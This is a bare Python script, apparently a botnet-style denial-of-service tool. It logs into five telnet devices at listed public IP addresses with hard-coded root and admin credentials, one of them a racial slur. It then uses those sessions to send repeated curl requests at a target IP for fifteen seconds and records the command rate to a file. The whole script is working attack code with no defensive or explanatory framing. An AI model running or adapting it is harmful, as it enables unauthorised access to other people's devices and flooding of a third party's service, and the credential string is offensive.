import socket, time, threading

devices = [
    ("103.75.116.88", 23, "root", "niggerson123"),
    ("103.75.116.113", 23, "root", "niggerson123"),
    ("45.139.50.126", 23, "admin", "admin"),
    ("103.204.172.74", 23, "admin", "admin"),
    ("103.159.132.105", 23, "admin", "admin"),
]

target = "167.148.195.3"
dport = 80
duration = 15

results = {}
lock = threading.Lock()
total_cmds = 0

def flood_dev(ip, port, user, passwd):
    global total_cmds
    conns = []
    for i in range(5):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((ip, port))
            time.sleep(1)
            data = s.recv(4096).decode(errors="ignore")
            if "login" in data.lower():
                s.send((user+"\r\n").encode())
                time.sleep(1)
                data = s.recv(4096).decode(errors="ignore")
            if "password" in data.lower():
                s.send((passwd+"\r\n").encode())
                time.sleep(2)
                data = s.recv(4096).decode(errors="ignore")
            try: s.recv(65536)
            except: pass
            s.send(b"echo READY\r\n")
            time.sleep(1)
            try: s.recv(4096)
            except: pass
            conns.append(s)
        except:
            pass
    
    if not conns:
        with lock:
            results[ip] = 0
        return
    
    count = 0
    start = time.time()
    cmd = ("curl -s http://" + target + ":" + str(dport) + "/ > /dev/null 2>&1 &\r\n").encode()
    while time.time() - start < duration:
        for s in conns:
            try:
                for _ in range(5):
                    s.send(cmd)
                    count += 1
            except:
                pass
    
    for s in conns:
        try: s.close()
        except: pass
    
    with lock:
        total_cmds += count
        results[ip] = count

threads = []
for d in devices:
    t = threading.Thread(target=flood_dev, args=(d[0], d[1], d[2], d[3]))
    t.daemon = True
    threads.append(t)
    t.start()

for t in threads:
    t.join(timeout=duration + 30)

# Write results
with open("/tmp/r7.txt", "w") as f:
    for ip, count in results.items():
        f.write(ip + ": " + str(count) + " cmds\n")
    f.write("TOTAL: " + str(total_cmds) + " cmds in " + str(duration) + "s\n")
    f.write("RATE: " + str(total_cmds/duration) + " cmds/sec\n")
    f.write("DEVICES: " + str(len(results)) + "/" + str(len(devices)) + "\n")
